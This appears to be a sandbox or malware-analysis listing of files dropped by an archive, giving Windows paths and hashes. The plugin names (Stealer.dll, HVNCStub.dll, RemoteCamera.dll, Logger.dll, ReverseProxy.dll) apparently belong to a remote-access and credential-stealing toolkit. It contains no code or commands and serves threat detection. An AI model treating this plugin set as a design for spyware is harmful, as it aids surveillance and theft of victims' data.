C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\ip2region.db

MD5 c8f4c82b2cbe02d7797dd6568533ae5a
SHA1 92893bf95436d087b55ad3bc1ab6b8a349adc2d3
SHA256 5948907df4a4782d5954499b65ab011e257fc5775f81e0b8b4dea6fa10e6fcc5
SHA512 151ef56eb99cd29e02dd04b2dc19284597df2feedba1e1fbb6bbdf65f5f66fd2f9caffc48057ac1cb684270739ecddff6098b9b97b80ecfb98e277917f174c96

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraWizard.v22.2.dll

MD5 807e09981b3490876380f6e757ea50a2
SHA1 3f9832ce40f7be136b0aa79fbd26b7b3b2e2d26e
SHA256 e1851bb8ecced0f713c2cf7e6c9f1df5f5d437ff5e0804b66042341815a528fc
SHA512 9e571194245b74b3318b75c990767507efda2d901786e1e1476d15adc989ef0d883e571dac81f60ed940b872082aacca790aa98c3dd1532770d18b9448bcfdb0

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Discord.dll

MD5 7a9892f86badfa7560fd9182a775fb73
SHA1 4ac58c122bdf7ad51e3ba8ff6151b545a258ec34
SHA256 84c4a1f90507955ce9ff3e8c260bbacdb57b4d230853d2fe1379fdbc98938c7b
SHA512 6b646d83011444972c8b9b38f886035d4bef498d40299ebc3f80da1fc7b3d3b02fbdff1fb355574059f1a6309ebaeeba7aa8f7aa26c99b7452bcaa1ad04259ec

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Source Code\Properties\Resources.resx

MD5 1fb92a58aed889d7d847498379141071
SHA1 6c93d9a3b9e4c0eacc6a6a29f93f92bfde55d9dc
SHA256 14da8b235b91cde8647cf749c72ddf6294f065f6211a4451e61b594f84c4554d
SHA512 bf800b9921e15c545bb189a1bc2cb7e5eef517578262b902d4a36f2d04907590bcd8a376b23f3819bd7b6a854efb8e1b08366da16814a45f55b650233f36acb9

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Stealer.dll.config

MD5 ee37d8dde7f969b007430b18386ef45f
SHA1 5dadec5c0ef36d2511d9e4943ea5a59462a657ab
SHA256 63837bde3bfb609d59002b88831786e7b0bf285a6090f9252c35af9ee3f75ff6
SHA512 76bde199f18744451eca542084de6819c1033bd28495c5a458be242bc00b4b05027de6358965c2357772216ec7afa55ef459ebe7b9e48bc5bd8baa60ba1f9d21

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Options.dll

MD5 6d598f254cd76db5b465d8a5d6244c96
SHA1 a8b716c7bdab3b5ddba5f06d66462cde2654d961
SHA256 759453183cb7b6e64ff834b3f6643fd5e8b8f2ee826d662871ad417097bc16af
SHA512 8de61efac210139fe8839be69772ffdb83e8913ed26c3fbc93270f3ec3270b1ba392d5612416459aa7563957f663669248b15a773dbe6696746827d0b8076597

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\PeNet.Asn1.dll

MD5 5cfadd5ec612b4b36cdf18eaa1554dc1
SHA1 8417c2bd434bcd9eadcdbdb75c852459e0b9e819
SHA256 0abc6f616481c2bdbb3e982341f021e471ee088e8eeb8c4f415cb439d22d7d03
SHA512 4854ae800af037b5fdeeebc013997190d76a0f84274de4f79f2c7632d4b0225aee889ab1e0cbc349d1f9b4f3c10b7da6b418558db582ff8884f32970f114fd03

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

MD5 c5636845559f40cc0449e1f351190bf2
SHA1 0e01507202b50226d6c5ffa772e8be2081301f96
SHA256 a53f9249c8e9d19cf2efbf603a64f33e30dfd4a9d776f0f07e194ac3db89110e
SHA512 c6eb9ae56ed6ec3be59359c523864fda402e96f62a24adfaba26c592df2e70ba14c1b04d195b7a1254892a7381e2653ab0fa4d460c56d97d22242a48f67c0c58

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\dnlib.dll

MD5 5cc2bb48b5e8c8ac0b99669401d15456
SHA1 02e9ae08f3ec364834eb3ffc122f1c90e1b0e95e
SHA256 648950f725fb0320e09c52dcaf81764916df96dc62e7429ba67daea0acb784ea
SHA512 2867e94cee9f89f1cf85ad01083d75f4bc0bc0e551b2ffae05581828994f2b01a458ac7a7c94a45e8c40858ecce197f7ec23482ee13ef3f1bf82b33b89b3b420

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\PeNet.dll

MD5 3053c9351218a87a6e03b48f475ff548
SHA1 5f673de5f302ba1aceea63e0eeff87f923feb66f
SHA256 fb83efd9af58d7149629437514d64a936de8ea5979693e65220ddcae908b03eb
SHA512 b08ddc3ba79ca168d81fe9591baa9cdf4ded8f91e41072142e4bf9640bca20f891159733071f18f292ffbbd90e659dde80f19d7cf8b2eee221a523207e8500d7

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\ProcessManager.dll

MD5 85ad68e55dfe03e679b650e2a689b905
SHA1 172c79f1006223e130e63ff7370d9dda01c3a87f
SHA256 d664a79caa45f63a3729c25859eeaf11d7692866c9438316ff3443b754c9d86c
SHA512 672cc61423b79b96cfb97ca83ec9f379666fbb9003c6105d170b89d7da85da443d064624421de4da6112746d240d709f7af7a696b64be8fafaaf83c8402ea0df

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\protobuf-net.Core.dll

MD5 455b9dae976a4c36e8ff5f5410fb19d5
SHA1 9ff8128e0ea3a38e96783c7d1c5972af3e31532c
SHA256 c7ea80a04d604ad816a58dd21ab2fe765c1f3c36ddc82ee00e55705e316522ba
SHA512 e468f1295f9316195d5241aa7262ad1a311e541a9da6f98e8a726805e9001fb1e21df42f6db5c18c7f755649d20cb0a16e78e0f50784fddd2ec0cd66f11017f7

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\protobuf-net.dll

MD5 9fa500dd5384ba90daf82ae3b55a3418
SHA1 e542ab2a9c8e09ae967011098805586689dc98f3
SHA256 2c93e48721089d468fc844a46365d7b160bac49f93cda07a8a956f918aebf158
SHA512 3c026b1934df3afffd09aa018b842eefb9446b402d6df0a807f65609ca3ff738f815dda4ec9d02089a0b910ceaac807c66d5fd698db17fbc42df624a4ea3826a

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Recovery.dll

MD5 cdb0f455ed9d8243479d84930016b594
SHA1 e49842ddd267c8f0731090f56c16878564a1c196
SHA256 bea19e2dece602ced1d3df8c825a993f3d412c2a4d4d87eaa39f44ba4fb39e82
SHA512 ba5bab867d6ae8a20c9c20f9203a3cb348a0cfa411a2f03b05c698b4b7b569b31a037b72a285c2725330a10ab02532dcdb904941531839f03ed01a941f457825

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Server.Properties.Resources.resources

MD5 24bb6bf569b7b8b8b2743f1b4ec138d9
SHA1 0ee96dead026dad2413cad1729c44da82e9aa0a8
SHA256 db0da3c4c367aa05193b918d91fc731ccdec0241532b02f544891547bac61976
SHA512 6dc0ed583a468ae2e649e6abca910f4f58ff7f0d3f0cf42effaf33b276ec520a2e6d37cd3a702a86265e537fdd570fcca5bd55cc049c8a7396ebee895101b71d

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Regedit.dll

MD5 1311db472a7d6214c081d1570ce26cec
SHA1 97c69429b40f5413092522a8b9277e89ee9ad0d7
SHA256 c9db48c701d11ccea315e72da8482e1b00ea5472c1235f6b4e21bfff73b2e941
SHA512 2e7c7e9403b4e93f5047a08b5b9f0d017884840d0473f9def1b0ec23173b7dea697a4a02ed6b3e8e09a3129151385b9b3ec5c2da8793be908151f125e7114deb

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\RemoteCamera.dll

MD5 0c856c12a57ec760d42beb7c7aa9f654
SHA1 fb2344188d90ae256782cdf3814e8cb2d82353bb
SHA256 083b7be903110cbe07e367df7f1ccf0283fb25a3561969dadca319c5ee580865
SHA512 cecea1ae8a904d54a9841ba043708668bf98b904a7b1e5ca096efed04f2e1e88b713e2f43b5021033c74481e3052b641553f5bd1df2898c3feb26d43adc457be

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\RemoteDesktop.dll

MD5 7ce57602a56e0c140569e80e6bdca112
SHA1 66efe692b9a866c29eafd5f49f9b87ddf30e249c
SHA256 82bcf176d913f0776418319f42dc5d04ed32e1fa7228cc3802d41e62b5147256
SHA512 5b422783c8971a8ccaf4fcab6fc5e3f494bc74d575b57d209c5c826f8438a73480bbe178d13cc7ce66036ac9b5fd7b033d8f811436e7f88a9b49785e343ac8fd

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\ReverseProxy.dll

MD5 d560dc1d671c9f63341eaa2e82e8da3e
SHA1 f4a241eb751c8bedb329db709addc799481d7347
SHA256 839728b1c09a00907e3efc67de957600c59d6a03afc8f8880160e9ede8ed93a0
SHA512 1f3730857c918ab8aabb8beeca48d1be2db05d78f105f1fcbd156aff04068492d75b995af92f639e5944859f73a8c6aa9302749f9d0c361f0523b25f69b433bc

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\SendFile.dll

MD5 7b93b63734901d7a5c40e06c6706c1e7
SHA1 3c534fbfade38a1f1b90ce463cdef404c1330234
SHA256 54c537118656e6c56c55e5894d5798cf4ed495ba7992b46050649ff660dfe7d5
SHA512 7711ea2c15dcaa0503e5fe92ee9f03af32d8ed37dc5ea4a40c46e77ab65ecf0321dad1ad11b73845d7dc94ca6f261769d4dafd538abb4be0d70a0a2153fb4a32

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\SendMemory.dll

MD5 afb9b0c9bb59fb128406ae3f9fb71c78
SHA1 820c24c6a252639f6d92130a4a6c83db53f8f3e7
SHA256 d179e1d3e1f46c85bb4a03e9c9069e8b529999e776b7b12c2d4a47f622535f8c
SHA512 23102da3a25695c45a20f6bcf8ae82d58b00a92c359db9de5ff1584775fc521ef46ee9468032cd771afd87c035e2181c3d15072de1738ea0665e39294c638f80

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\SMDiagnostics.dll

MD5 2612a0586acb1b3e7b5c13aad79504fe
SHA1 8a8ac9ce4b3a174f46b69fd16bad04c5f3044e24
SHA256 e7c76c52a3e9f751ed6ed9c9231e35228a636ebd68726241a843f31c5a41ec0c
SHA512 fb6d49a3c5051c12a9bdc23f5d0b0450cada30b54fc557e83b55280a5ccefe00a30f9a641c65bca42f2cc1eed30ada4eabd07e97814df715f1ce9b2f046aefce

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\x86\SQLite.Interop.dll

MD5 730e57d00a8699352cfb15ec1159afd0
SHA1 3ce30190d1f64dcb4572f0dd0efc065d58407dd9
SHA256 29f4c07e9c5b265976967d8afe435b0e74bb6169c20090d856fbcc42a4bf48f0
SHA512 b5bbc861884d4ce0a0846688d493f7a84b97076849ab81fdf3631a525dd99a12c7156a9d43b3019f91a912ab102669b651c5f6c2967142c29d2b41e76aefd3df

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\x64\SQLite.Interop.dll

MD5 c2d9e689c9b7dbfbd6266430fcce1add
SHA1 1ce680f48d19ab31f4af39c261451804a2858a11
SHA256 7bf956ba8edbc7358398707afddafa3acfcb212796f4169130d7cfa557653e67
SHA512 24867f191cb91e1a6dc7dbcfba02881dcb9bf49166315508bcfd331f51495a536431d33b5444fcfd270adf6def4691301c17c328cd8ef779819429437f590e08

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Stealer.dll

MD5 148df73fc5c660433a2f879623e20200
SHA1 37876b040a553b27cb8adba4e6d36a578f4aa6f8
SHA256 b68d9d96af261cd1103255a35838e4d8112598f1a15d860c7b932ee098ee143c
SHA512 17434fa00756bbed7c0a426580f771e59d7f4e7ae0858f1daed0c9b38cfe0adac7f1c52bbf664c51cf4c1b1bd62a8e3e981cc2585fb26fde278e3101401483a3

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\System.IO.Compression.dll

MD5 24e74963a68d66fcfae334d91f5c5b33
SHA1 c0cf3df19033cdc055c627867795d8e458a67ccc
SHA256 10a7c576a8bc639b63b9a1c6b5f8d38f85e34b3f020106b27076d395ac3d82be
SHA512 6d28dd711ab97924a2e807d7df61dece98df9f262b55093e5d58117740316dfba33d329a3e75662aeed5c396e8a67afe62a099f5e6887ed23cd0d082718fe7ac

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\System.ServiceModel.Internals.dll

MD5 7f35e0251f45807e872ee0a354a8fe81
SHA1 74cebb21cb95165774ea0ab082cb85cd3458ca8d
SHA256 805d9e2c5cd2f2b17e68763ae4eb1db0103bd278e526de32f98e0cd336541e14
SHA512 c5dfd9e43295b786eae9869ac1ede564d9d86255a58b3cf2f9af313c355fab8d5c3c4bd41291da65729ae510000446290588e9d67b2e65aa6da10777c6f5d38b

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\FileManager.dll

MD5 5d429feae7e6513205802ccdd0012a90
SHA1 0262c5caa56e33af56ac1e2799bfe9fd5f4f5977
SHA256 b2417948b649d6575597e82c87903a83b0d575776180b5aa3f4c2fb03504b488
SHA512 db865c7262330818682e3d6a011e07ff6b79c70ba3507e1206cbf2b88b9d9e4bbf888384b71ce27993296c21f2a883aa8de6f435aaf9a7a8a6e8a2c80720b468

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\FileSearcher.dll

MD5 965f3d108d5995ba6214b32ce416d669
SHA1 3c2c219e053b3a692e37a59cd28db702da2af8d9
SHA256 05ee33a9f85545c43fbab3443751cdd0b151147f4665cfd3a661bae610b8e6b0
SHA512 f6d041219f5f5f1ee270812e5b4565465ce7c245636661d296a4dbd93b672bf1c3eaff890f84766c8f6b81ca14d5680e9bf8ed0c8a470018733c38dcb3897753

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Fun.dll

MD5 6498fbaa8d0f46e9cc7eb5350db0d226
SHA1 2b6502e636cf3a307fdd9417c33215e95fe133ce
SHA256 1aacbe29bc2ba2fa3b23e632ba4d0f31b21d9b7517230af75b943eed06e42c10
SHA512 3df2476cff49da2e322693ff5751d8cbbbffa03e063e9a74b3141e95f99e03a6ddc84d4ded4d2bd28937135e73615f6b9d810741a864d196c7aab4089d744c6e

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\HVNCStub.dll

MD5 7aacab605cde7921393717a7e8166dc5
SHA1 ee682cadb9ff61e752a20bd1a58bd415a9ed0c70
SHA256 b4bd45ceed51bd8242575be1a804c96bde28e23603e29517ab87ad2fb21ecbc3
SHA512 e1bb3c39094e550a0e92f0ad678d078594f7ae8a06941574415444a900b8179bf2073035f5bc7e834d8aa8f06cc12aa0b325b0718e8ba9f5acbb3fcc3be11e16

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\IconExtractor.dll

MD5 640d8ffa779c6dd5252a262e440c66c0
SHA1 3252d8a70a18d5d4e0cc84791d587dd12a394c2a
SHA256 440912d85d2f98bb4f508ab82847067c18e1e15be0d8ecdcff0cc19327527fc2
SHA512 e12084f87bd46010aded22be30e902c5269a6f6bc88286d3bef17c71d070b17beada0fe9e691a2b2f76202b5f9265329f6444575f89aff8551c486eafe4d5f32

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Information.dll

MD5 09659d665bef5d2b13064ddbadbf9c3a
SHA1 0bcf0c1a8d83ed569eeb78e61e1977f39c76a304
SHA256 b7e5626e056b7cc14515f9736ff02f7d102f585f256da388c650900ed333455f
SHA512 5c5e7ad42240d05c4dfdccf2eaf3f34a25a5bc40e06194a7224c28036d5031161f724846785919a7a0824b5709014af0cdaff70f62d7518dbdd712015a890937

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\IP2Region.dll

MD5 cd5a0b0d309fd5837ddacbf4c1a65cda
SHA1 65fbc931f4ba8c5e3b26719665ee9ea6015f402c
SHA256 b0c2a6951dae794c210fbe68d7f42081e5da0f7cbb926cf986c3d453f9920f37
SHA512 84e4e1aa3f6c3014b39b0ac0da3db41e086dfab4e7d38a154f0ff2d0c65bae87039175e54cf950a57f21f5c56c19a62d6f98b2143f14a21d743867a2b37243aa

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Logger.dll

MD5 c8508a8572731ab5ad12642fb866cf20
SHA1 1d919365597a4e6799dec2308686391bd378f484
SHA256 e7a9d37812c43e9d557f509f1d240bc3d3b0732d2b951606e0260a7de66130e3
SHA512 8c22c9a0cac8c2d3675d553c1cc3ab504005f759346801c98e795de4eb89667d8c9cf76417e60740a15b5a5b745485136d99ecc7c582294d12adad227265ecab

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\MessagePackLib.dll

MD5 06247396be54c6ebb06fd6ca84ee80cc
SHA1 51fb23ff498a47c0be900ae43a7030f98794eb59
SHA256 669e42b6c6e94dc2735f281aa5b33c0d398b91960158ec556e521974b3be5843
SHA512 03d93f22aaf1bc0dc4d26b130aa1cb1668c14b854ff84803c8b2cc74625cda44970dd5be1b17865986eabb6966a7d65c226282becfd7963b72b8035990ffc299

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DotNetZip.dll

MD5 a999d7f3807564cc816c16f862a60bbe
SHA1 1ee724daaf70c6b0083bf589674b6f6d8427544f
SHA256 8e9c0362e9bfb3c49af59e1b4d376d3e85b13aed0fbc3f5c0e1ebc99c07345f3
SHA512 6f1f73314d86ae324cc7f55d8e6352e90d4a47f0200671f7069daa98592daaceea34cf89b47defbecdda7d3b3e4682de70e80a5275567b82aa81b002958e4414

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Microsoft.Win32.Primitives.dll

MD5 76b8d417c2f6416fa81eacc45977cea2
SHA1 7b249c6390dfc90ef33f9a697174e363080091ef
SHA256 5eaa2e82a26b0b302280d08f54dc9da25165dd0e286be52440a271285d63f695
SHA512 3b510cdc45c94be383c91687c2cb01a501ba34e3fbb66346214fc576d6f0e63c77d1d09c6419fc907f5b083387a7046c0670377ad2e00c3ec2e731275739f9c7

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Extra.dll

MD5 f5bf218ad015cae03530be7c8f0868a9
SHA1 d47c3936fded28dd4330f1aac7881d8bb17a1d02
SHA256 42b16d214b9336027c3e854c119739fac4cceac6e91045f69d1db18144b538bd
SHA512 a6c5a0cf8834de88b8df202c94de30521af3e7f8edfa213e896dac1c03096faa128fa38555bd9683d3d5819cdd34572f7cf061b9f841b823e13db9325cb5f090

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Miscellaneous.dll

MD5 d7d72ad5575c1b8ad9b6c170ca2ba53b
SHA1 51e0d8f952f22a29f92c2c37dacebc8b46e9cc4e
SHA256 329937d550d1f28c77dc26c45b97dd701565a58d1f60f7e3a35790c4cf87b9d7
SHA512 4838176ee94e1d7643eecbae46dd57bb7d8c264ec127ff0b4443186893c17854158d1576645bf2a7d5bff3f2cb5e91a5c5242e5f236b6ed8c2e18f1ecaf2d1e5

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\netstandard.dll

MD5 0adf6f32f4d14f9b0be9aa94f7efb279
SHA1 68e1af02cddd57b5581708984c2b4a35074982a3
SHA256 8be4a2270f8b2bea40f33f79869fdcca34e07bb764e63b81ded49d90d2b720dd
SHA512 f81ac2895048333ac50e550d2b03e90003865f18058ce4a1dfba9455a5bda2485a2d31b0fdc77f6cbdfb1bb2e32d9f8ab81b3201d96d56e060e4a440719502d6

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Plugins\Netstat.dll

MD5 016439dfdeab850df3845ec000f48eeb
SHA1 84d88f7ddd216365aae2f44806caf1f52427309d
SHA256 e06ec5cfd60b3312796135820cba9d230a780aef97fdc0f8da6207e8c8e5e000
SHA512 c671c70f25883e5cb25266628947f3c04d7054fb916ac72c39a759b4ec15e3b51008604b3554779a8dd25ab318ae369980e9a5cead22fa88151350cf153e32c0

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Newtonsoft.Json.dll

MD5 715a1fbee4665e99e859eda667fe8034
SHA1 e13c6e4210043c4976dcdc447ea2b32854f70cc6
SHA256 c5c83bbc1741be6ff4c490c0aee34c162945423ec577c646538b2d21ce13199e
SHA512 bf9744ccb20f8205b2de39dbe79d34497b4d5c19b353d0f95e87ea7ef7fa1784aea87e10efcef11e4c90451eaa47a379204eb0533aa3018e378dd3511ce0e8ad

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\FastColoredTextBox.dll

MD5 8610f4d3cdc6cc50022feddced9fdaeb
SHA1 4b60b87fd696b02d7fce38325c7adfc9e806f650
SHA256 ac926c92ccfc3789a5ae571cc4415eb1897d500a79604d8495241c19acdf01b9
SHA512 693d1af1f89470eab659b4747fe344836affa0af8485b0c0635e2519815e5a498f4618ea08db9dcf421aac1069a04616046207ee05b9ed66c0a1c4a8f0bddd09

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Source Code\app.config

MD5 a1c2a2870001b66db41bcb020bff1c2d
SHA1 8c54c6a3564c8892aa9baa15573682e64f3659d9
SHA256 0aa9e3ab5c88c5761120206eff5c6e35c90288290b3647a942059705ef5b75e5
SHA512 b3bf53120203cfaa951f301b532849cb382d2404c9503916bc1ca39925a9a1530b01045f341fc75d47d65130d0187dcbbf4288b9ef46aa81624b59ba7802794b

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\online

MD5 4e642f0d041d6ef79d7701e599e4bbe9
SHA1 e82bf57ee1d78070506d08b16d79991ae2b069c0
SHA256 c2cfbabf111d231fb2531b6c0759c5191fd91f767059790ff53aef87fab2280f
SHA512 79064943187cf61fadfc315986c71cc500e21ee1f8b9e81c6978f4ae555fe492153ca7c727935004fd5b2f90b30f2c1d15bcc95cc25044e861e1309fdf4b4ca1

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\offline

MD5 829c84c8f69856aaba8dfad042bc1cf4
SHA1 0c9e6169aa58542e60807405d12ac226888c282c
SHA256 21b4173439bdcb6338d99a8f060b98426cca95b2830b62965a72c94bc6c77236
SHA512 9a670fa71f795efe96bd61cad7e731ef9300e93c44b8109f89678b7db10bfebe386e694cdba28047c837d907ae73090252900ec0b315aa74509f826b3cf403ce

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\Vestris.ResourceLib.dll

MD5 944ce5123c94c66a50376e7b37e3a6a6
SHA1 a1936ac79c987a5ba47ca3d023f740401f73529b
SHA256 7da3f0e77c4dddc82df7c16c8c781fade599b7c91e3d32eefbce215b8f06b12a
SHA512 4c034ff51cc01567f3cb0796575528ca44623b864eb606266bcf955a9259ed26b20bec0086d79038158d3a5af2ada0a90f59d7c6aae9e545294fe77825dbe08b

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraTreeList.v22.1.dll

MD5 b92b3fbc94c954f3e2277c2bc14d385b
SHA1 c4cbb96da577b04ae3275871235da450e8fc1b50
SHA256 b611389621a70130b62c0248a822f691984d0724c5897a39f0c82ce9814d11dd
SHA512 7e5737b1727684cd91719db9d86b4d1bf011834610346a081ec0bb20c4935b44f64870d138d3d6fa5910cece3835cb1c388431ee49fe522f57c3ab86b4f00121

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraRichEdit.v22.2.dll

MD5 82e7e741729f1e4f40dde95a491e61fd
SHA1 08c71d302e8d9ed945d7e39cef3884d8f0eea474
SHA256 54a3de6ff3f4a2b347c6f860467a3d1eda7ac2abbfa585597592161ee6a725fb
SHA512 6d1d5c026af295767f74942f55b9c39ef9db78f5967715dddfa47ff70d768ef2532340c6a1f20ab80df1a95c547b916115bb7468226feaf39c7f9c1cfbbf1066

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraRichEdit.v22.1.dll

MD5 4d702be37811ae34bd6de94d71ab9e95
SHA1 7cbaae67d844dbee29e885c8be42938a7a8e05cb
SHA256 8a891d4cde599dfb4d21556690dd7233b17d24442ae59e0eb704bbca46f0b68a
SHA512 d12b6a25a12758b182a4a496d0c183f45c38f0a0c5fcc66759f4ea1688eefe906cfb2a8b8d72956dd94eca6b27b3de73ba3f4ca7ddbed81ba28555059c2cf03d

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraPrinting.v22.2.dll

MD5 b71e8518bfcd69de0410cc8b8191c5ca
SHA1 e988b3fdfdf50e3fba5bf8f2e725329612a581ac
SHA256 a4070f7fa8ce0877bcb690c43ff78c4a9b51fe628fdce68834fe84b2cea1bf18
SHA512 efbb2f31ed3e20f97022cab35294fc63bcffa642e80ca8ddb9b4a4b633a59e7d91bf6b0c7ec2dde84061358e7307a7c18a5ac802a759baef3b75526b6faf5142

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraGrid.v22.2.dll

MD5 8adc329d03f8d95b220ae66d2380f6bf
SHA1 10848f1127ea9d0fbf36d3056b9c70d0e2b064bf
SHA256 f93f749d210a194dcc682d0b0aee7fde7cf8a10eb67312d6e8cd644412493323
SHA512 19a237ebd2e86ee623f51e46d979b89f7c6a3cb3edbc08aa62d36f79c931a64e2282893c7e31e24a1de5fadc7159ffe4ff8ba79978573295138cf62939601688

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraGrid.v22.1.dll

MD5 8478f5aa3de612bd2cf5e9356688d0f3
SHA1 84103d2abee8976dcaac172bcb9e064dfd06a890
SHA256 ae22e7bebe5c4b59363c5980940c64608d1a35c6b5026e0e088605132187c8da
SHA512 d0f3cbf8144c733266e05b2513603f5b44bf6fa359bbff86c3d437e022ef1d6451ce7b3f335d116438346aeb3d93bc5a82a6a548a7b1795f72991112abe6750f

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraEditors.v22.2.dll

MD5 fdf81d98c172a0ccdd1d2170bac9aaca
SHA1 cd06bb43d0f4a926c273b0c1c07c5789a0a90632
SHA256 e5d66bc5e6fd1d51ea480e31c9698437ebb2107b6b348d39c4e78634e121455a
SHA512 3aeddb4d05428e0f4a18ad0be3d5accf413b70e80cce6dadfd02c54405c7baeda82a3f044bcbad194444c31ae172f1a4f6b90249474fd7aeaa7cffade7c06e1e

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraEditors.v22.1.dll

MD5 9a4fa4e33d64f44451fc4223a5616355
SHA1 124caceb4e82537403a4b5e9b21487c369b69559
SHA256 fc4e229d2237af90eb1b76205b543098ee958cbc7558d7a6dab41b5210fdaef5
SHA512 869b25aa356a957ba361b4fcc1b3aa8363e7bd23a577538f904995ebaebb8a249398e35cf381f5ba06baed95c8dd3e5d6e3aea8efe5ac8e48ca2482c9d549bf9

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraDiagram.v22.2.dll

MD5 1543e261d09538b5dd5f36fd514f588f
SHA1 f59c52d03b38c473361b356e21779b1a7f0297fd
SHA256 9b26bb8085e61617df650b90a85ef7f35afd379a52c50864b739184db100397d
SHA512 349ac0a9c298685c3e56dc987b6bc91c29c4c9119a0e7710e1a72240a8fea6a7a1dcc5c48500a1be4dfb9123345011f7b63410ee1c4a00cdf44033a2d43c2dce

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraCharts.v22.2.Wizard.dll

MD5 3ac87db1fdc6ac83eedc9dec3a2ebc7a
SHA1 b7658a792492c8db64efa8e2a2029797f7cd9726
SHA256 a9b9fecbe6962a4ceca36642004272bad28ca07bd74b186197510d68a760b633
SHA512 0411fa960262f3734ebb8457776f1f8111c72523cac6ae268992c733da492855d2dce8a6d76c9a762e8d09e857938ededc56c7c759516d3840aae12c45d0ade7

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraCharts.v22.2.Extensions.dll

MD5 bd02da3ec83ac2e175d49aa8edb212a7
SHA1 c1b030d585d4bd6b7a4e4defaba1627c9bf5ff9e
SHA256 778b8b9990fb9c1b6eb2b500b7ef23960b96840440fa970a3f9d4a234aea4079
SHA512 f04a54dac7a56ccf9cc971a8d620a1a963fd6835dd04ad56e26a31914a00522c400c9cbc5d30a19a226a270876ae00436133bf213d4abe2ab8e23cbcd963ed8e

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.XtraCharts.v22.2.dll

MD5 01458f2c74ec100abc65141f566ed6f1
SHA1 2ec429231c515751b7a9ba5773bdb9455886f10a
SHA256 009e918376f7e8fd3c12f2e08d54b4103604b8964f908b57e6958e964334aa8c
SHA512 feb97231934a069aa574e8c26a15d164e4615e691eff5b89465911f4db9ea34b1974d82c689d17e393abbb4047278facf73b6d1982a10f964577ecb04c722a0f

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.Utils.v22.2.UI.dll

MD5 7f3b7c8fb94ff22372586f53e1a4a043
SHA1 d7a701541016470ad057e766eb43112c4dfd87b3
SHA256 0eb585844ece8f0a3ce37d008723019d90f2f7e0830a2e702415f70e31e7db68
SHA512 15f4ff575d4bb624a484ed32b335bece6e0205a33bad22c80e6fab4ae514e67cb7a9638513a6fbec811e0089c3a8f3575bd656e450a945b66ddaad6f8e155bb6

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.Utils.v22.2.dll

MD5 b7e6bcd420e084e55a03a92a0e1d4730
SHA1 f64988f40fa0354edf6d64fe2370632a91327e2d
SHA256 41d5ffec69488e985e7e73865693109155f09d72c7c830d2bdad21c2815ada7f
SHA512 de6b4a45602cd95fea349a80027ea8fd1c62e939d8e1d0bf2af2de40452a8e5c0c054e9ca787d1cb640e812c4de8cdb8fef14aff978e73071e7d4f6e9ef3778f

C:\Users\Admin\AppData\Local\Temp\7zE093E40C5\DevExpress.RichEdit.v22.2.Export.dll

